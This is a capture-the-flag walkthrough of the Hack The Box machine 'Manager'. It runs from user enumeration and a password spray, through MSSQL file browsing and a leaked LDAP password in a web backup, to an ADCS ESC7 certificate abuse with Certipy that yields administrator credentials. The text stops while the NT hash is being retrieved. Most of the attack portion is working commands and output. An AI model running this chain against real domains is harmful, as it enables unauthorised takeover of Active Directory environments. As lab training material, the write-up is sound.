htb-manager

Manager starts with a RID cycle or Kerberos brute force to find users on the domain, and then a password spray using each user’s username as their password. When the operator account hits, I’ll get access to the MSSQL database instance, and use the xp_dirtree feature to explore the file system. I’ll find a backup archive of the webserver, including an old config file with creds for a user. As that user, I’ll get access to the ADCS instance and exploit the ESC7 misconfiguration to get access as administrator.

Recon

nmap

nmap finds a bunch of open TCP ports:

# Nmap 7.95 scan initiated Thu Apr 24 16:22:51 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -oN manager.nmap 10.10.11.236
Nmap scan report for 10.10.11.236
Host is up (0.013s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: Manager
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-04-24 21:23:01Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-24T21:24:22+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after:  2122-07-27T10:31:04
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after:  2122-07-27T10:31:04
|_ssl-date: 2025-04-24T21:24:21+00:00; +6h59m59s from scanner time.
1433/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-ntlm-info: 
|   10.10.11.236:1433: 
|     Target_Name: MANAGER
|     NetBIOS_Domain_Name: MANAGER
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: manager.htb
|     DNS_Computer_Name: dc01.manager.htb
|     DNS_Tree_Name: manager.htb
|_    Product_Version: 10.0.17763
|_ssl-date: 2025-04-24T21:24:22+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2025-04-24T21:21:14
|_Not valid after:  2055-04-24T21:21:14
| ms-sql-info: 
|   10.10.11.236:1433: 
|     Version: 
|       name: Microsoft SQL Server 2019 RTM
|       number: 15.00.2000.00
|       Product: Microsoft SQL Server 2019
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-24T21:24:22+00:00; +7h00m00s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after:  2122-07-27T10:31:04
3269/tcp open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
|_ssl-date: 2025-04-24T21:24:21+00:00; +6h59m59s from scanner time.
| ssl-cert: Subject: 
| Subject Alternative Name: DNS:dc01.manager.htb
| Not valid before: 2024-08-30T17:08:51
|_Not valid after:  2122-07-27T10:31:04
5985/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2025-04-24T21:23:43
|_  start_date: N/A
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Apr 24 16:24:22 2025 -- 1 IP address (1 host up) scanned in 91.15 seconds

There’s a lot here!

  • This is clearly a Windows host, and based on the IIS version from the webserver listening on port 80 it’s at least Windows 10 or Server 2016.
  • The hostname is dc01, in the domain manager.htb (based on LDAP and MSSQL).
  • Based on the hostname and the combination of listening ports (Kerberos on 88, LDAP, etc), this host is likely a Windows domain controller.
  • There’s a MSSQL database server exposed on 1433. There’s rarely a way to connect unauthenticated, but should I find creds, I’ll want to check this out.
  • 5985 (WinRM) is open, which means if I find creds for the right user, I could get a shell.

Virtual Hosts

Before checking the webserver, I’ll brute force subdomains of manager.htb to see if any return something different with ffuf:

ffuf -u http://10.10.11.236 -H "Host: FUZZ.manage.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -mc all -ac

It doesn’t find anything. I’ll update my hosts file:

10.10.11.236 manager.htb dc01.manager.htb

Website – TCP 80

Site

The site is for a content writing service

 

There is a contact form, but submitting it sends a GET request to /contact.html without any of the data from the form.

Tech Stack

The pages on the site are all .html files, which indicates a static site.

The HTTP response headers shows IIS and not much more:

HTTP/1.1 200 OK
Content-Type: text/html
Last-Modified: Thu, 27 Jul 2023 16:02:39 GMT
Accept-Ranges: bytes
ETag: "1c67a5c4a3c0d91:0"
Server: Microsoft-IIS/10.0
Date: Wed, 13 Mar 2024 07:03:59 GMT
Connection: close
Content-Length: 18203

The 404 page is the standard IIS 404:

 

Seems like static site running on IIS.

Directory Brute Force

I’ll run feroxbuster against the site using a lowercase wordlist with Windows IIS:

feroxbuster -u http://10.10.11.236 -w /opt/SecLists/Discovery/Web-Content/raft-medium-directories-lowercase.txt

Nothing interesting.

SMB – TCP 445

netexec shows the same domain and hostname:

puck@kali$ netexec smb 10.10.11.236 
SMB         10.10.11.236    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)

I can’t enumerate shares with no user, and a bad user does seen to get some auth, but then can’t list shares either:

puck@kali$ netexec smb 10.10.11.236 --shares
SMB         10.10.11.236    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [-] Error getting user: list index out of range
SMB         10.10.11.236    445    DC01             [-] Error enumerating shares: STATUS_USER_SESSION_DELETED
puck@kali$ netexec smb 10.10.11.236 --shares -u puck -p puck
SMB         10.10.11.236    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\puck:puck 
SMB         10.10.11.236    445    DC01             [-] Error enumerating shares: STATUS_ACCESS_DENIED

Given that some kind of null auth is allowed here, I can try a RID cycling attack, by bruteforcing Windows user security identifiers (SIDs) by incrementing the relative identifier (RID) part. The Impacket script loopupside.py will do this nicely:

lookupsid.py puck@manager.htb -no-pass
Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies 

[*] Brute forcing SIDs at manager.htb
[*] StringBinding ncacn_np:manager.htb[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-4078382237-1492182817-2568127209
498: MANAGER\Enterprise Read-only Domain Controllers (SidTypeGroup)
500: MANAGER\Administrator (SidTypeUser)
501: MANAGER\Guest (SidTypeUser)
502: MANAGER\krbtgt (SidTypeUser)
512: MANAGER\Domain Admins (SidTypeGroup)
513: MANAGER\Domain Users (SidTypeGroup)
514: MANAGER\Domain Guests (SidTypeGroup)
515: MANAGER\Domain Computers (SidTypeGroup)
516: MANAGER\Domain Controllers (SidTypeGroup)
517: MANAGER\Cert Publishers (SidTypeAlias)
518: MANAGER\Schema Admins (SidTypeGroup)
519: MANAGER\Enterprise Admins (SidTypeGroup)
520: MANAGER\Group Policy Creator Owners (SidTypeGroup)
521: MANAGER\Read-only Domain Controllers (SidTypeGroup)
522: MANAGER\Cloneable Domain Controllers (SidTypeGroup)
525: MANAGER\Protected Users (SidTypeGroup)
526: MANAGER\Key Admins (SidTypeGroup)
527: MANAGER\Enterprise Key Admins (SidTypeGroup)
553: MANAGER\RAS and IAS Servers (SidTypeAlias)
571: MANAGER\Allowed RODC Password Replication Group (SidTypeAlias)
572: MANAGER\Denied RODC Password Replication Group (SidTypeAlias)
1000: MANAGER\DC01$ (SidTypeUser)
1101: MANAGER\DnsAdmins (SidTypeAlias)
1102: MANAGER\DnsUpdateProxy (SidTypeGroup)
1103: MANAGER\SQLServer2005SQLBrowserUser$DC01 (SidTypeAlias)
1113: MANAGER\Zhong (SidTypeUser)
1114: MANAGER\Cheng (SidTypeUser)
1115: MANAGER\Ryan (SidTypeUser)
1116: MANAGER\Raven (SidTypeUser)
1117: MANAGER\JinWoo (SidTypeUser)
1118: MANAGER\ChinHae (SidTypeUser)
1119: MANAGER\Operator (SidTypeUser)

 

The number before the : in the output is the RID. I’ll use some Bash foo to get a nice users list:

puck@kali$ lookupsid.py puck@manager.htb -no-pass | grep SidTypeUser | cut -d' ' -f2 | cut -d'\' -f2 | tr '[:upper:]' '[:lower:]' | tee users.txt
administrator
guest
krbtgt
dc01$
zhong
cheng
ryan
raven
jinwoo
chinhae
operator

I can also do this with netexec, just need to use the guest account:

puck@kali$ netexec smb 10.10.11.236 -u guest -p '' --rid-brute
SMB         10.10.11.236    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\guest: 
SMB         10.10.11.236    445    DC01             498: MANAGER\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB         10.10.11.236    445    DC01             500: MANAGER\Administrator (SidTypeUser)
--snip--
SMB         10.10.11.236    445    DC01             1103: MANAGER\SQLServer2005SQLBrowserUser$DC01 (SidTypeAlias)
SMB         10.10.11.236    445    DC01             1113: MANAGER\Zhong (SidTypeUser)
SMB         10.10.11.236    445    DC01             1114: MANAGER\Cheng (SidTypeUser)
SMB         10.10.11.236    445    DC01             1115: MANAGER\Ryan (SidTypeUser)
SMB         10.10.11.236    445    DC01             1116: MANAGER\Raven (SidTypeUser)
SMB         10.10.11.236    445    DC01             1117: MANAGER\JinWoo (SidTypeUser)
SMB         10.10.11.236    445    DC01             1118: MANAGER\ChinHae (SidTypeUser)
SMB         10.10.11.236    445    DC01             1119: MANAGER\Operator (SidTypeUser)

 

LDAP – TCP 389 (and others)

I’ll use ldapsearch to confirm the base domain name:

puck@hkali$ ldapsearch -H ldap://dc01.manager.htb -x -s base namingcontexts
# extended LDIF
#
# LDAPv3
# base <> (default) with scope baseObject
# filter: (objectclass=*)
# requesting: namingcontexts 
#

#
dn:
namingcontexts: DC=manager,DC=htb
namingcontexts: CN=Configuration,DC=manager,DC=htb
namingcontexts: CN=Schema,CN=Configuration,DC=manager,DC=htb
namingcontexts: DC=DomainDnsZones,DC=manager,DC=htb
namingcontexts: DC=ForestDnsZones,DC=manager,DC=htb

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1

When I try to query further, it says I need auth, which I don’t have:

puck@hkali$ ldapsearch -H ldap://dc01.manager.htb -x -b "DC=manager,DC=htb"
# extended LDIF
#
# LDAPv3
# base <DC=manager,DC=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090CF4, comment: In order to perform this opera
 tion a successful bind must be completed on the connection., data 0, v4563

# numResponses: 1

Kerberos – TCP 88

An alternative way to find usernames is by bruteforcing Kerberos with something like kerbrute:

./kerbrute_linux_amd64  userenum /opt/SecLists/Usernames/cirt-default-usernames.txt --dc dc01.manager.htb -d manager.htb

    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 04/25/25 - Ronnie Flathers @ropnop

2025/04/25 14:57:59 >  Using KDC(s):
2025/04/25 14:57:59 >  	dc01.manager.htb:88

2025/04/25 14:57:59 >  [+] VALID USERNAME:	 ADMINISTRATOR@manager.htb
2025/04/25 14:57:59 >  [+] VALID USERNAME:	 Administrator@manager.htb
2025/04/25 14:57:59 >  [+] VALID USERNAME:	 Guest@manager.htb
2025/04/25 14:57:59 >  [+] VALID USERNAME:	 GUEST@manager.htb
2025/04/25 14:57:59 >  [+] VALID USERNAME:	 OPERATOR@manager.htb
2025/04/25 14:57:59 >  [+] VALID USERNAME:	 Operator@manager.htb
2025/04/25 14:58:00 >  [+] VALID USERNAME:	 administrator@manager.htb
2025/04/25 14:58:00 >  [+] VALID USERNAME:	 guest@manager.htb
2025/04/25 14:58:00 >  [+] VALID USERNAME:	 operator@manager.htb
2025/04/25 14:58:00 >  Done! Tested 828 usernames (9 valid) in 1.079 seconds

It finds three, administrator, guest, and operator. I can use some other wordlists and find a handful more, but the important one is operator.

Shell as raven

Get Operator Password

I can do a quick check to see if any of the usernames I’ve collected use their username as their password. With netexec, I’ll give the same list for -u and -p, and the --no-brute flag, which means instead of tying each username with each password, it just tries the first username with the first password, the second with the second, and so on. I like the --continue-on-success flag to check if there are more then one set of valid creds here:

netexec smb manager.htb -u users.txt -p users.txt --continue-on-success --no-brute
SMB         10.10.11.236    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [-] manager.htb\administrator:administrator STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\guest:guest STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\krbtgt:krbtgt STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\dc01$:dc01$ STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\zhong:zhong STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\cheng:cheng STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\ryan:ryan STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\raven:raven STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\jinwoo:jinwoo STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [-] manager.htb\chinhae:chinhae STATUS_LOGON_FAILURE 
SMB         10.10.11.236    445    DC01             [+] manager.htb\operator:operator 

 

The operator account uses the password operator! It does not work over WinRM, so no shell from here:

puck@kali$ netexec winrm manager.htb -u operator -p operator
WINRM       10.10.11.236    5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb)
WINRM       10.10.11.236    5985   DC01             [-] manager.htb\operator:operator

Enumeration as operator

SMB

The shares on Management are the standard DC shares:

netexec smb manager.htb -u operator -p operator --shares
SMB         10.10.11.236    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\operator:operator 
SMB         10.10.11.236    445    DC01             [*] Enumerated shares
SMB         10.10.11.236    445    DC01             Share           Permissions     Remark
SMB         10.10.11.236    445    DC01             -----           -----------     ------
SMB         10.10.11.236    445    DC01             ADMIN$                          Remote Admin
SMB         10.10.11.236    445    DC01             C$                              Default share
SMB         10.10.11.236    445    DC01             IPC$            READ            Remote IPC
SMB         10.10.11.236    445    DC01             NETLOGON        READ            Logon server share 
SMB         10.10.11.236    445    DC01             SYSVOL          READ            Logon server share 

There’s nothing interesting in these.

LDAP

The operator account does have LDAP access:

netexec ldap manager.htb -u operator -p operator
SMB         10.10.11.236    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
LDAP        10.10.11.236    389    DC01             [+] manager.htb\operator:operator 

Running ldapsearch -H ldap://dc01.manager.htb -x -D 'operator@manager.htb' -w operator -b "DC=manager,DC=htb" will dump a bunch of LDAP to the terminal. I’ll use ldapdomaindump to get all the info in a more viewable way:

ldapdomaindump -u management.htb\\operator -p 'operator' 10.10.11.236
[*] Connecting to host...
[*] Binding to host
[+] Bind OK
[*] Starting domain dump
[+] Domain dump finished

The domain_users_by_group.html file is a nice overview of the users to target:

check which user can WinRM. Nothing else seems interesting.

MSSQL

The creds work for the database as well:

netexec mssql manager.htb -u operator -p operator
MSSQL       10.10.11.236    1433   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb)
MSSQL       10.10.11.236    1433   DC01             [+] manager.htb\operator:operator 

mssqlclient.py will connect, using the -windows-auth flag to say that it’s using the OS authentication, not creds within the DB:

mssqlclient.py -windows-auth manager.htb/operator:operator@manager.htb
Impacket v0.13.0.dev0+20250415.195618.c384b5fb - Copyright Fortra, LLC and its affiliated companies 

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(DC01\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208) 
[!] Press help for extra shell commands
SQL (MANAGER\Operator  guest@master)> select name from master..sysdatabases;
name     
------   
master   

tempdb   

model    

msdb     

SQL (MANAGER\Operator  guest@master)> 

All four are default MSSQL databases.

mssqlclient.py has extra shortcut commands to do common attacker things on the DB:

SQL (MANAGER\Operator  guest@master)> help

    lcd {path}                 - changes the current local directory to {path}
    exit                       - terminates the server process (and this session)
    enable_xp_cmdshell         - you know what it means
    disable_xp_cmdshell        - you know what it means
    enum_db                    - enum databases
    enum_links                 - enum linked servers
    enum_impersonate           - check logins that can be impersonate
    enum_logins                - enum login users
    enum_users                 - enum current db users
    enum_owner                 - enum db owner
    exec_as_user {user}        - impersonate with execute as user
    exec_as_login {login}      - impersonate with execute as login
    xp_cmdshell {cmd}          - executes cmd using xp_cmdshell
    xp_dirtree {path}          - executes xp_dirtree on the path
    sp_start_job {cmd}         - executes cmd using the sql server agent (blind)
    use_link {link}            - linked server to use (set use_link localhost to go back to local or use_link .. to get back one step)
    ! {cmd}                    - executes a local shell cmd
    show_query                 - show query
    mask_query                 - mask query

enum_db will show the same thing I queried above:

SQL (MANAGER\Operator  guest@master)> enum_db
name     is_trustworthy_on   
------   -----------------   
master                   0
tempdb                   0
model                    0
msdb                     1   

xp_cmdshell is feature in MSSQL to run commands on the system. operator doesn’t have access, and can’t enable it:

SQL (MANAGER\Operator  guest@master)> xp_cmdshell whoami
[-] ERROR(DC01\SQLEXPRESS): Line 1: The EXECUTE permission was denied on the object 'xp_cmdshell', database 'mssqlsystemresource', schema 'sys'.
SQL (MANAGER\Operator  guest@master)> enable_xp_cmdshell
[-] ERROR(DC01\SQLEXPRESS): Line 105: User does not have permission to perform this action.
[-] ERROR(DC01\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.
[-] ERROR(DC01\SQLEXPRESS): Line 62: The configuration option 'xp_cmdshell' does not exist, or it may be an advanced option.
[-] ERROR(DC01\SQLEXPRESS): Line 1: You do not have permission to run the RECONFIGURE statement.

xp_dirtree is another feature for listing files on the filesystem. It works:

SQL (MANAGER\Operator  guest@master)> xp_dirtree C:\
subdirectory                depth   file   
-------------------------   -----   ----   
$Recycle.Bin                    1      0   
Documents and Settings          1      0   
inetpub                         1      0   
PerfLogs                        1      0   
Program Files                   1      0   
Program Files (x86)             1      0   
ProgramData                     1      0   
Recovery                        1      0   
SQL2019                         1      0   
System Volume Information       1      0   
Users                           1      0   
Windows                         1      0 

Filesystem

The only interesting directory in C:\Users is Raven, and it is unaccessible. In the web root, I’ll confirm that this is a static HTML site:

SQL (MANAGER\Operator  guest@master)> xp_dirtree C:\inetpub\wwwroot
subdirectory                      depth   file   
-------------------------------   -----   ----   
about.html                            1      1
contact.html                          1      1   
css                                   1      0   
images                                1      0   
index.html                            1      1   
js                                    1      0   
service.html                          1      1   
web.config                            1      1   
website-backup-27-07-23-old.zip       1      1   

There’s also a backup zip!

Backup Archive

I’ll grab the archive from the webserver:

wget http://manager.htb/website-backup-27-07-23-old.zip
--2025-04-25 15:12:23--  http://manager.htb/website-backup-27-07-23-old.zip
Resolving manager.htb (manager.htb)... 10.10.11.236
Connecting to manager.htb (manager.htb)|10.10.11.236|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1045328 (1021K) [application/x-zip-compressed]
Saving to: ‘website-backup-27-07-23-old.zip’

website-backup-27-07-23-old.z 100%[==============================================>]   1021K   465KB/s    in 2.2s    

2025-04-25 15:12:25 (465 KB/s) - ‘website-backup-27-07-23-old.zip’ saved [1045328/1045328]

And extract it:

puck@kali$ unzip website-backup-27-07-23-old.zip -d webbackup/
 

 

The first file, .old-conf.xml is interesting. It has an LDAP configuration for the raven user including a password:

<?xml version="1.0" encoding="UTF-8"?>
<ldap-conf xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
   <server>
      <host>dc01.manager.htb</host>
      <open-port enabled="true">389</open-port>
      <secure-port enabled="false">0</secure-port>
      <search-base>dc=manager,dc=htb</search-base>
      <server-type>microsoft</server-type>
      <access-user>
         <user>raven@manager.htb</user>
         <password>R4v3nBe5tD3veloP3r!123</password>
      </access-user>
      <uid-attribute>cn</uid-attribute>
   </server>
   <search type="full">
      <dir-list>
         <dir>cn=Operator1,CN=users,dc=manager,dc=htb</dir>
      </dir-list>
   </search>
</ldap-conf>

WinRM

The LDAP enumeration showed that raven is in the Remote Management Users group, which means they should be able to WinRM. netexec confirms, and that this password works:

puck@kali$ netexec winrm manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123'
WINRM       10.10.11.236    5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:manager.htb)
WINRM       10.10.11.236    5985   DC01             [+] manager.htb\raven:R4v3nBe5tD3veloP3r!123 (Pwn3d!)

I’m able to connect and get a shell:

puck@kali$ evil-winrm -i manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123'

Evil-WinRM shell v3.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Raven\Documents> 

And grab user.txt:

Shell as administrator

Enumeration

Filesystem

raven’s home directory is otherwise completely empty:

*Evil-WinRM* PS C:\Users\Raven> ls -recurse .

    Directory: C:\Users\Raven

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---        7/27/2023   8:24 AM                Desktop
d-r---        7/27/2023   8:23 AM                Documents
d-r---        9/15/2018  12:19 AM                Downloads
d-r---        9/15/2018  12:19 AM                Favorites
d-r---        9/15/2018  12:19 AM                Links
d-r---        9/15/2018  12:19 AM                Music
d-r---        9/15/2018  12:19 AM                Pictures
d-----        9/15/2018  12:19 AM                Saved Games
d-r---        9/15/2018  12:19 AM                Videos

    Directory: C:\Users\Raven\Desktop

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        3/12/2024   9:21 PM             34 user.txt

There’s no other user directories, and the web directory doesn’t have anything else interesting.

ADCS

With a Windows domain, the next thing to check used to be Bloodhound, but lately it’s worth checking Advice Directory Certificate Services (ADCS) as well, and that’s quick, so I’ll start there. This can be done by uploading Certify or remotely with Certipy. I find Certipy easier.

I’ll look for vulnerable templates:

certipy find -dc-ip 10.10.11.236 -ns 10.10.11.236 -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -vulnerable -stdout
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Trying to get CA configuration for 'manager-DC01-CA' via CSRA
[*] Got CA configuration for 'manager-DC01-CA'
[*] Enumeration output:
Certificate Authorities
  0
    CA Name                             : manager-DC01-CA
    DNS Name                            : dc01.manager.htb
    Certificate Subject                 : CN=manager-DC01-CA, DC=manager, DC=htb
    Certificate Serial Number           : 5150CE6EC048749448C7390A52F264BB
    Certificate Validity Start          : 2023-07-27 10:21:05+00:00
    Certificate Validity End            : 2122-07-27 10:31:04+00:00
    Web Enrollment                      : Disabled
    User Specified SAN                  : Disabled
    Request Disposition                 : Issue
    Enforce Encryption for Requests     : Enabled
    Permissions
      Owner                             : MANAGER.HTB\Administrators
      Access Rights
        Enroll                          : MANAGER.HTB\Operator
                                          MANAGER.HTB\Authenticated Users
                                          MANAGER.HTB\Raven
        ManageCertificates              : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
        ManageCa                        : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
                                          MANAGER.HTB\Raven
    [!] Vulnerabilities
      ESC7                              : 'MANAGER.HTB\\Raven' has dangerous permissions
Certificate Templates                   : [!] Could not find any certificate templates

The last line is the most important! Raven has dangerous permissions, with the label ESC7.

ESC7

Add Manage Certificates

ESC7 is when a user has either the “Manage CA” or “Manage Certificates” access rights on the certificate authority itself. Raven has ManageCa rights (shown in the output above).

The steps to exploit this are on the Certipy README.

First, I’ll need to use the Manage CA permission to give Raven the Manage Certificates permission:

certipy ca -ca manager-DC01-CA -add-officer raven -username raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'

Now Raven shows up there where they didn’t before:

puck@kali$ certipy find -dc-ip 10.10.11.236 -ns 10.10.11.236 -u raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' -vulnerable -stdout
...[snip]...
        ManageCertificates              : MANAGER.HTB\Administrators
                                          MANAGER.HTB\Domain Admins
                                          MANAGER.HTB\Enterprise Admins
                                          MANAGER.HTB\Raven
...[snip]...

This gets reset periodically, so if I find some step breaks while exploiting, it’s worth going back to see if that is why.

Administrator Certificate

The first step is to request a certificate based on the Subordinate Certification Authority (SubCA) template provided by ADCS. The SubCA template serves as a predefined set of configurations and policies governing the issuance of certificates.

certipy req -ca manager-DC01-CA -target dc01.manager.htb -template SubCA -upn administrator@manager.htb -username raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 20
Would you like to save the private key? (y/N) y
[*] Saved private key to 20.key
[-] Failed to request certificate

This fails, but it saves the private key involved. Then, using the Manage CA and Manage Certificates privileges, I’ll use the ca subcommand to issue the request:

The server is resetting every minute, so execute below commands fast

certipy ca -ca 'manager-DC01-CA' -add-officer raven -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'Raven' on 'manager-DC01-CA'
                                                                                                                     
certipy ca -ca 'manager-DC01-CA' -enable-template SubCA -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'manager-DC01-CA'
                                                                                                                     
certipy req -username raven@manager.htb -password 'R4v3nBe5tD3veloP3r!123' -ca 'manager-DC01-CA' -target manager.htb -template SubCA -upn administrator@manager.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[-] Got error while trying to request certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
[*] Request ID is 28
Would you like to save the private key? (y/N) y
[*] Saved private key to 28.key
[-] Failed to request certificate
                                                                                                                     
certipy ca -ca "manager-DC01-CA" -issue-request 28 -username 'raven@manager.htb' -password 'R4v3nBe5tD3veloP3r!123'
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully issued certificate
                                                                                                                                 
certipy req -ca manager-DC01-CA -target dc01.manager.htb -retrieve 28 -username raven@manager.htb -p 'R4v3nBe5tD3veloP3r!123' 
Certipy v4.8.2 - by Oliver Lyak (ly4k)

[*] Rerieving certificate with ID 28
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@manager.htb'
[*] Certificate has no object SID
[*] Loaded private key from '28.key'
[*] Saved certificate and private key to 'administrator.pfx'

 

Administrator NTLM

With this certificate as the administrator user, the easiest way to get a shell is to use it to get the NTLM hash for the user with the auth command. This requires the VM and target times to be in sync, with otherwise leads to this failure:

certipy auth -pfx administrator.pfx -dc-ip manager.htb
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[-] Got error: nameserver manager.htb is not a dns.nameserver.Nameserver instance or text form, IP address, nor a valid https URL
[-] Use -debug to print a stacktrace
                                                                                                                                 
sudo ntpdate 10.10.11.236
2025-04-25 22:56:27.045339 (+0200) +25200.309718 +/- 0.006336 10.10.11.236 s1 no-leap
CLOCK: time stepped by 25200.309718
                                                                                                                                 
Certipy auth -pfx administrator.pfx -dc-ip 10.10.11.236
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: administrator@manager.htb
[*] Trying to get TGT...
[*] Got TGT
[*] Saved credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
